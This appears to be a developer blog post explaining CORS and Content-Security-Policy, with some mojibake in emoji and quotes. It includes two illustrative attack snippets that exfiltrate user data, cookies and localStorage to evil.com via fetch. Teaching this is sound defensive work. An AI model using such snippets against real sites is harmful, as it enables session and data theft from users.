:::: MENU ::::

CORS and CSP, no magic: what they are, how they work, and why they save your day

šŸ¤” Why are we even talking about this?

The web šŸŒ is awesome because it’s open. You can load resources from here and there, embed YouTube videos, pull in Google Fonts, and even drop in some random third-party widget that promises to ā€œmake your site fasterā€ (spoiler: it won’t).

The problem is that this same openness is also a giant backdoor. šŸ˜…

If anyone can sneak code into your page, what’s stopping them from using it to steal your users’ data, inject malicious scripts, or track every single click they make?

Browsers aren’t stupid (well… Edge had its dark age, but it has reformed 😜). They came up with ways to bring some order to this circus. Enter two serious-sounding buddies: CORS and CSP.

Without them, your site is basically a house with the windows wide open: everything you don’t want slips right in. šŸ”„

So let’s take a look at the problem, and how attackers can sneak in if you don’t configure this properly.

🚨 Attack 1: Misconfigured CORS

If you have user logins (say, in an online store), your API —or certain POST requests (doesn’t need to be a textbook ā€œREST APIā€)— will almost certainly return sensitive data about the logged-in user, like their email or order history. Obviously, because your user needs to see that information on the frontend, in their account page.

Since configuring CORS is always a pain, you take the quick route:
Access-Control-Allow-Origin: * because ā€œthat way it just works and I don’t get errors in the frontendā€ šŸ™ˆ.

Now along comes an attacker, sets up a site at evil.com, and drops in this code:

fetch("https://yourwebsite.com/api/user-data", { credentials: "include" })
  .then(r => r.json())
  .then(data => {
    fetch("https://evil.com/steal", {
      method: "POST",
      body: JSON.stringify(data)
    });
  });

Now the attacker sends your user a link (pretending to be you). The user clicks, lands on evil.com while still logged in to your store… and boom šŸ’„! The browser, since your API accepts anyone, makes the request with the user’s valid session cookies and hands the data over to the script on evil.com.

Result: private information stolen using the user’s legitimate cookies.

A properly configured CORS setup prevents this: from a script on evil.com, the data from yourwebsite.com wouldn’t be accessible. The script would still make the request, but the browser (yep, the browser — I’ll explain that part in a second) blocks access to the response, and the trick fails.

Of course, maybe you do want requests from good.com to work and return user data, because that’s another one of your services or a trusted third-party you use. Well, that’s exactly what CORS is about: deciding who can make requests to your server, and who can’t.

āš ļø Important detail: the request is always made.

The CORS policy is sent in the response headers. In other words:

  • The browser makes the request.
  • The server replies.
  • Along with the response, it includes which origins are allowed.
  • If the origin isn’t on the list, the browser blocks delivering the data to the script.

šŸ™‹ā€ā™‚ļø ā€œBut couldn’t they just use Postman, which ignores CORS?ā€

Yes, but your users’ cookies aren’t in Postman. They’re in Chrome, Safari, Edge… in the victim’s browser, not the attacker’s. So that won’t work.

šŸ™‹ā€ā™‚ļø ā€œWhat about a network sniffer?ā€

Also not that easy. First, they’d need to install that sniffer on the user’s machine or pull off a man-in-the-middle (hard). Second, if your site uses SSL (right? šŸ˜‰), the traffic is encrypted and the sniffer will only see ciphertext. Only the user’s browser has the keys to decrypt it.

šŸ” Technical detail

Luckily for most people —because let’s be honest, almost nobody configures this unless it breaks something— CORS is restrictive by default. If you don’t specify anything, the browser assumes only same-origin requests are allowed. Lucky you, huh?

šŸ‘‰ That’s why we say CORS is ā€œfail-safeā€: if you don’t touch it, it protects you. The mess starts when you open it up too much ā€œjust to make it workā€ā€¦ and then you don’t really have CORS, you have a giant hole in your security.

🚨 Attack 2: Misconfigured (or missing) CSP — ā€œopen the door and roll out the welcome matā€

Your site either has no CSP or runs it in ā€œchill modeā€ (allows inline scripts, any random CDN, etc.). An attacker finds a spot where they can inject content (a GET parameter, a comment, a search field that reflects input on the page…). Boom: XSS.

Now imagine the attacker manages to get your HTML to render something like this. For example, they drop it into a product review, and since you’re lazy and don’t filter the HTML…

<script>
  // Robar sesión o tokens
  fetch("https://evil.com/steal", {
    method: "POST",
    body: JSON.stringify({
      cookies: document.cookie,
      ls: localStorage,          // if you save tokens here... RIP
      html: document.documentElement.innerHTML.slice(0, 1000)
    })
  });
</script>

If you don’t have a CSP, or you use something lax like script-src * 'unsafe-inline', the browser happily executes it.

Result: stolen cookies (if they’re not HttpOnly), stolen tokens from localStorage, reading private pages, executing actions with your session (CSRF on steroids)… basically, a hacker’s party. šŸŽ‰

🧯 How a decent CSP saves you

A well-set CSP basically says: ā€œonly my signed JS gets to run; no inline scripts, nothing without a nonce or a hash.ā€ The browser sees the injected <script> and blocks it: no nonce, no party.

šŸ” Technical details

The CSP configuration goes in the headers your server sends back along with the HTML. There you can set restrictions for all kinds of actions — like where forms are allowed to submit, where CSS or JS can be loaded from, which domains the site can connect to, etc.

To protect against the previous example, you could add a header like this to your HTML response:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m123';
  connect-src 'self' https://api.your-service.com;
  form-action 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

In this case, since we only allow connections to our own domain (self) or to a legitimate API, any request to evil.com would be blocked and never executed.

There are lots of possible CSP configurations, but further down I’ll share the most common ones.

🧪 Pro tip to avoid breaking production → ā€œReport Onlyā€ mode

Before going full aggressive, try configuring CSP in report-only mode:

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m123' 'strict-dynamic';
  report-uri https://tus-logs.com/csp;
  report-to csp-endpoint;

You’ll see what your configuration would break, make adjustments, and once everything is green you switch the header to enforcement mode (without the -Report-Only).

āŒ Configs that smell like trouble

  • script-src * → anyone can shove in their own JS.
  • 'unsafe-inline' in script-src → inline scripts and XSS walk right in.
  • Allowing data: or blob: in script-src → nope (they can pack malicious JS that way).
  • Loading 20 CDNs without SRI or nonce → free attack surface.

šŸ“‘ Most common CSP directives (and what they’re for)

šŸ”¹ default-src

  • Default value if no more specific directive is given.
  • Example: default-src ‘self’; → only loads resources from the same domain, unless another rule overrides it.

šŸ”¹ script-src

  • Defines where JavaScript scripts can be loaded from.
  • Example: script-src ‘self’ https://cdn.jsdelivr.net; → allows JS from your own domain and from jsDelivr.
  • Extras:
    • 'nonce-xxxx' → only authorize scripts with that nonce.
    • 'sha256-…' → hash of the authorized script’s content.
    • 'unsafe-inline' → allows inline JS (āš ļø insecure).

šŸ”¹ style-src

  • Controls CSS (external files and inline <style>).
  • Example: style-src ‘self’ ‘unsafe-inline’ https://fonts.googleapis.com; → local CSS + inline + Google Fonts.

šŸ”¹ img-src

  • Defines where images can be loaded from.
  • Example: img-src ‘self’ data:; → only from your domain + data: (for embedded icons).

šŸ”¹ font-src

  • Controls where fonts (@font-face) can be loaded from.
  • Example: font-src ‘self’ https://fonts.gstatic.com;

šŸ”¹ connect-src

  • Restricts active connections: fetch, XMLHttpRequest, WebSocket, EventSource.
  • Example: connect-src ‘self’ https://api.myapp.com; → your scripts can only make requests to your API.

šŸ”¹ form-action

  • Defines which origins can be the target of forms (<form action="...">).
  • Example: form-action ‘self’; → prevents someone from injecting a <form> that posts to evil.com.

šŸ”¹ frame-ancestors

  • Controls which origins can embed your page in an <iframe>.
  • Example: frame-ancestors ‘none’; → protects against clickjacking.

šŸ”¹ object-src

  • Allows/denies old plugins like Flash, Silverlight, etc.
  • Example: object-src ‘none’; → almost always none.

šŸ”¹ base-uri

  • Restricts the URL that can be used in <base href="...">.
  • Example: base-uri ‘self’; → prevents scripts from changing the context of relative URLs.

šŸ”¹ media-src

  • Valid origins for audio and video (<audio>, <video>).
  • Example: media-src ‘self’ https://cdn.myapp.com;

šŸ”¹ frame-src

  • Origins for iframes you embed.
  • Example: frame-src https://www.youtube.com; → allows embedding YouTube videos.

šŸ”¹ worker-src

  • Where Web Workers / Service Workers can be loaded from.
  • Example: worker-src ‘self’;

šŸ”¹ manifest-src

  • Origins from which the Web App Manifest can be loaded.
  • Example: manifest-src ‘self’;




So, what do you think ?